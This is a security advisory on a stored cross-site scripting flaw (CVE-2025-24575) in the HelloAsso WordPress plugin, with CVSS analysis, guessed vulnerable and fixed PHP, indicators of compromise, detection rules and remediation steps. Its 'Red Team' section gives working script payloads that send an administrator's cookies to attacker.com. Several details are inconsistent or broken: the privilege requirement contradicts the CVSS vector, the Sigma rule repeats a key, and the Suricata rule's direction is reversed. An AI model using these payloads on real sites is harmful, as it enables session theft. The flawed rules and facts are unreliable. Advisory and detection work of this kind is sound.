CVE-2025-24575

Executive Summary

CVE-2025-24575 is a Stored Cross-Site Scripting (XSS) vulnerability in the HelloAsso WordPress plugin (versions <= 1.1.11). This flaw allows an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into web pages generated by the plugin. When an administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects the HelloAsso WordPress plugin, which is distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via manual upload are affected. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems. The risk is elevated due to the lack of a vendor patch, meaning all installations of version 1.1.11 and earlier are vulnerable.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need prior authentication to trigger the stored XSS, but they need to be able to submit input that gets stored (e.g., via a form).
• User Interaction (UI): Required – The victim must visit the page containing the malicious payload.
• Scope (S): Changed – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): Low – Limited impact on availability.

Threat Level: Medium. The vulnerability is exploitable with low complexity, but requires user interaction and has limited impact. However, the lack of a patch increases the risk for all existing installations.

Deep Dive & Mechanics

The HelloAsso plugin fails to sanitize user-supplied input before storing it in the WordPress database and later rendering it on a page. This is a classic Stored XSS vulnerability. The attack flow is as follows:

1. Input Injection: An attacker with contributor-level access (or any role that can submit data processed by the plugin) crafts a malicious payload, such as <script>alert('XSS')</script>, and submits it via a form field (e.g., a donation amount, custom message, or user profile field).
2. Storage: The plugin stores the unsanitized input in the WordPress wp_postmeta or wp_options table.
3. Rendering: When an administrator or other user views the page that displays this stored data (e.g., the donation history or a user profile), the plugin outputs the malicious script without proper escaping.
4. Execution: The victim's browser executes the injected JavaScript, allowing the attacker to perform actions such as stealing cookies, redirecting to malicious sites, or defacing the page.

The vulnerability is in the plugin's output functions, which likely use echo or print without wrapping the data in esc_html() or wp_kses().

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. The vulnerable code likely looks like this:

Vulnerable Code (PHP):

<?php
// helloasso.php (or similar)
function display_donation_message($donation_id) {
    $message = get_post_meta($donation_id, 'helloasso_message', true);
    echo "<div class='donation-message'>$message</div>"; // Vulnerable: no escaping
}
?>

Patched Code (Hypothetical):

<?php
function display_donation_message($donation_id) {
    $message = get_post_meta($donation_id, 'helloasso_message', true);
    echo "<div class='donation-message'>" . esc_html($message) . "</div>"; // Patched: escaped
}
?>

The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Since no public exploit exists, we will simulate the attack manually.

Prerequisites:

• A WordPress instance with HelloAsso plugin version 1.1.11 installed.
• A contributor-level account (or higher) on the WordPress site.

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to a page or form that uses the HelloAsso plugin (e.g., a donation form).
3. In a text field (e.g., "Custom Message"), enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the form.
5. Wait for an administrator to view the page containing the stored message.
6. The administrator's browser will execute the script, sending their cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual script tags in form submissions.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Prevention:

• Disable the HelloAsso plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Use WordPress security plugins (e.g., Wordfence) that include XSS detection.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown or suspicious domains containing cookie data (e.g., GET /steal?cookie=...).
  • Unusual Referer headers pointing to WordPress admin pages.
• File IOCs:
  • Modified WordPress database entries in wp_postmeta or wp_options containing <script> tags.
  • Presence of obfuscated JavaScript in plugin data fields.
• Behavioral IOCs:
  • Unexpected redirects to external sites.
  • Unauthorized changes to WordPress settings or content.
  • Multiple failed login attempts from the same IP (if session hijacking is attempted).

Detection Engineering

YARA Rule

rule Detect_HelloAsso_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in HelloAsso plugin data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24575"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/si
        $helloasso_field = /helloasso_message|helloasso_donation/i
    condition:
        $xss_payload and $helloasso_field
}

Sigma Rule

title: Stored XSS via HelloAsso Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts targeting the HelloAsso WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=helloasso'
        sc-status: 200
    keywords:
        - '<script'
        - 'onload='
        - 'onerror='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in plugin fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24575 HelloAsso Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"wp-admin/admin-ajax.php"; http_uri; content:"action=helloasso"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/si"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and delete the HelloAsso plugin from all WordPress installations until a patched version is released.
2. Audit Database: Scan the WordPress database for any stored XSS payloads in wp_postmeta and wp_options tables. Remove any suspicious entries.
3. Change Credentials: Force all users to change their passwords, especially administrators, as cookies may have been stolen.

Long-Term Mitigation:

1. Apply Patch: Monitor the WordPress plugin repository for an update. Once available, update to the patched version immediately.
2. Implement CSP: Add a Content Security Policy header to restrict script execution to trusted sources only.
3. Use WAF: Deploy a Web Application Firewall with XSS detection rules.
4. Educate Users: Train users to recognize and report suspicious behavior.

Workaround (if plugin cannot be disabled):

• Use a WordPress security plugin that adds output escaping to all plugin data.
• Manually edit the plugin files to add esc_html() to all output functions (not recommended for non-developers).

Valters IT
Securing Digital Frontiers